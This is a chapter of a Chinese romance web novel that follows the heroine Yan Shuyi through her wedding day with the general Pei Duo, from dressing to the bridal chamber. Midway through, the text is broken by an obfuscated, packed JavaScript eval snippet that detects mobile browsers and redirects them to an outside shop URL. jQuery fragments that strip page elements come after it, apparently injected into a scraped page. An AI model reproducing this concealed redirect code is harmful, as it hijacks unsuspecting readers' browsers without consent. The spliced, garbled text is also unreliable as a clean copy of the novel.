竖日,是个难得不错的天气,颜书意卯时就被人叫起,所幸她昨日早就知晓今日必不会太好过,于是早早的就歇息,所以颜书意今天并没有起床气。
也得亏颜书意提前在将军府适应过几日,不然昨夜若是失眠,那可不好办。
不过外面的天气依然昏暗,边关的日头本就升的比京城慢,现在这个点,外面也是黑黢黢一片,给人一种还在睡美梦的好时机的错觉。
旁边的颜书意就是这么觉得的,虽然身体睡足了,但是思维告诉她目前还是睡觉的时机。
颜书意虽是婚礼的主人公之一,其实却并不怎么需要她本人安排,她只需要好好当一个工具人随他们折腾就可以。
所以颜书意理所应当的闭着双眸,让梳妆娘子们随意发挥。
关于婚礼的一切,裴老夫人都已经安排妥当,这也是颜书意除了第一天,剩下几天都难以得见裴老夫人的缘故。
不是她不尊重老人,而是裴老夫人没空见她。
颜书意的嫁妆在她到来的那一刻只是放在外院安置,按照今日的行程,她的嫁妆还需与她随行。
由于颜书意属于远嫁,因此她是直接从将军府出发,婚礼仪杖绕平城一圈,最后回到将军府里。
不知过了多久,颜书意一身行头终于成功收拾齐整,颜书意睁开眼睛,被前面朦胧铜镜中的自己惊艳一秒。
只见颜书意双睫扑闪,脸颊边恰到好处的腮红,更是衬得她人面桃花一般好看。
望着镜中的自己,颜书意蓦然低眉浅笑,笑意如春风拂过柳梢头,泛起无数细澜,直把后头的一众侍女娘子看的直愣眼。
稗实暗自感叹,哪怕待在姑娘身边多年,还是抵挡不住姑娘突然的美貌攻击。
本来梳妆娘子还想给她敷粉,但是古代的脂粉一般都添加了铅这种有毒金属,于是颜书意婉拒了梳妆娘子想要拿着白粉往她脸上扑的举动。
本来梳妆娘子见状颇有些不解,但细思一下颜书意白皙如美玉的皮肤,梳妆娘子又想通了,按照这位姑娘的姿色,确实不需浓妆艳抹,整个人就如同出水芙蓉一般娇艳。
若是她身作男子,怕是也抵不住颜姑娘这般美到骨子里的美人。
颜书意看了看身边围绕在她四周的大家,收起了自己隐藏不住的笑容,只是眼睛里还略微带上一丝笑意。
吉时将至,出嫁前原本颜书意需要拜别父母,但这种手续在她到来平城之前就已经完成,于是她便只需要对着京城的方向拜别一番就可以。
庭院里已经备好了香案,颜书意就在这里拜奉香。
颜书意这次的拜别比在京城那次虔诚,她拜的不是京城的颜父等人,而是她真正的养育她的父母。
一旁围观的众人见状,都觉得颜书意此人十分重情重义,一位来参加婚宴的夫人见到颜书意的表情,暗自思量。
等裴铎来到之时,看到的便是一身红衣的颜书意在虔诚的上香的背影。
裴铎过来的时候身旁是他的一大群将士,他被簇拥着,一路走到了这里,自朱红廊下缓步走过来,一身大红色的婚服衬得他整个人英姿勃发,颜书意回过头看着一步步朝她走过来的裴铎,眼眸里都是她的倒影,不禁晃了一下神。
裴铎脚步略微加快,身后的将士步调整齐划一,直到走到颜书意身旁的时候,裴铎朝她伸出了手。
颜书意一愣,用疑惑的眼神望着裴铎。
裴铎没有解释什么,只说了一句话:“跟我来。”
按理说,迎亲这天颜书意是需要别人背着出门的,虽然她的兄弟都不在场,但是这个习俗还是遗留下来,当时颜书意还有些头疼将军府这边要如何处理,裴老夫人却说一切交由她来安排,于是颜书意便心安理得的当了一个甩手掌柜。
原来是要直接走吗?颜书意松了口气,没多想,将手搭在裴铎手上,准备和他一同出门。
一旁的喜娘连忙拉住颜书意:“姑娘稍等,先盖上盖头。”
当盖头披上颜书意头上的时候,颜书意的视线被红布所遮挡,只能看清脚下的一小部分地方,突如其来的不适让颜书意内心有些不安,看不见周围人都身处何方。
直到有一只手轻轻的牵住了她,似乎感受到她的不适,本来只是轻轻握住的手加重了几分力气,颜书意悄悄深吸一口气,跟上手主人的步伐。
周围的喧闹似乎在这一刻与颜书意再无关系,不知为何,颜书意脑海中最后的那个画面,竟然是裴铎朝她伸出手的那个场景。
裴铎脚步沉稳,不疾不徐,既有少年人的清俊,更添上一分久经沙场的肃穆,平日里常穿深色衣服的他,今日一袭朱红,更加凸显他原就不俗的美貌。
微风拂过,带起裴铎的衣摆,就这么撞入颜书意眼眸,颜书意下意识的躲避,抬起头却只见一片朱红,竟是无处可躲。
似乎是为了照顾颜书意的步伐,裴铎走的极慢,颜书意走了一段路才发现这就是她平日里惯走的节奏,颜书意突然想抬头看一眼裴铎。
只可惜这大概是不允许的,颜书意遗憾的收回自己的想法,在走到一处的时候,裴铎突然低头靠近颜书意,低声提醒:“小心门槛。”
很快,裴铎和颜书意就来到花轿前面,将颜书意扶进去之后,裴铎骑上了前面的高头大马。
花轿前面是一串串流苏,颜书意上轿之后偷偷撬开盖头一角,霎时看到了前面裴铎高大的背影。
平城不大,一行人前头出发,后头颜书意的嫁妆也跟着抬起,直到花轿在平城绕行一圈回到将军府后,最后一台嫁妆刚刚出发。
一路上都有很多百姓在围观这场盛大的婚礼,其中不乏有许多人想目睹颜书意的面容,想看看是何等娘子才能与相貌绝佳的裴铎相配。
颜书意刚开始还有些不自在,等轿子出发后,颜书意就调整过来,优哉游哉的看戏,没有半点不自在。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292261|198496||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
对于百姓的言语,颜书意自然也是听得见的,但她也没有想要露面的意思,裴铎一个人就够撑起这个场子了,不需要她出面。
丈夫的颜值,妻子的荣耀。不知为何,颜书意突然想起这句话,突然笑出声。
稗实和菽宁一人一边陪在她轿子两侧,听到自家姑娘的笑声,虽不知为何姑娘突然笑起,二人对视一眼,也同样展开笑颜。
在花轿这段时间,是颜书意今天最舒服的一段,抵达将军府后,又迎来一系列繁琐的礼节,如果现在让颜书意穿回现代,她一定会批评现在那些古装剧拍的都是什么玩意儿,并且去当个礼仪指导。
……如果他们愿意接受架空朝代的变化的话。
在司仪终于宣布礼成之后,颜书意的苦中作乐也得到了解放,颜书意被带到了她和裴铎的婚房。
在她来到将军府的同时,裴铎也被人赶出他的院子,为婚礼布置作用。
进了婚房,就没有那么多繁杂的规矩了,虽然依然不能摘下盖头,但是坐在婚床上,颜书意才发现自己肚子发出了强烈的抗议。
“姑娘,先用点糕点吧。”稗实递过来一个米糕,虽然很饿,但颜书意看着这一块冷食,却没有一丝想吃的欲望。
就在颜书意想要拒绝的时候,外头传来脚步声,是裴铎过来了。
很快,清浅的香气飘到颜书意鼻尖,裴铎拿起称挑走颜书意的盖头,突如其来的光线让颜书意不自觉眨眨眼睛,适时地,颜书意肚子发出“咕——”的一声。
颜书意不由涨红了脸,裴铎却似乎没有听到这个声音,飞快的走完接下来的各个流程。
等到了合卺酒的部分,裴铎赶好时机,在颜书意嘴唇刚好要碰到酒水的时候匆匆结束,颜书意看着裴铎,裴铎背对着喜娘,用口型对颜书意说:“空腹喝酒伤身。”
饮完合卺酒之后,终于所有的礼都已经礼成,众人都有序的退下,屋内很快就只剩下颜书意和裴铎二人。
正当颜书意觉得气氛有些许古怪之时,屋外突然传来的敲门声打断了房内的奇怪气氛,裴铎应道:“进来。”
来人是颜书意没见过的一位侍女,她的手上捧着一个托盘,托盘上放着热气腾腾的面条。
裴铎端过面条放在颜书意身前:“方才在大堂外我就留意到你捂着小腹,想必是饿了,先吃点东西垫垫肚子吧。”
颜书意看着前面的面条,已经快要饿过头的胃似乎终于复苏,面条独特的味道让颜书意食欲恢复了一些,颜书意浅笑几声,伸手拿过筷子品尝。
裴铎还要出去应付客人,无法在此久待,于是很快就出门离去,等颜书意将一整碗面条都吃干净后,才终于舒服了些许。
头上重重的凤冠依旧压着颜书意的视线,颜书意坐回婚床,在视野依旧局限在固定位置的时候无聊的开始观察起裴铎的卧室。
这一观察,颜书意就看出卧室当中有一些不对劲。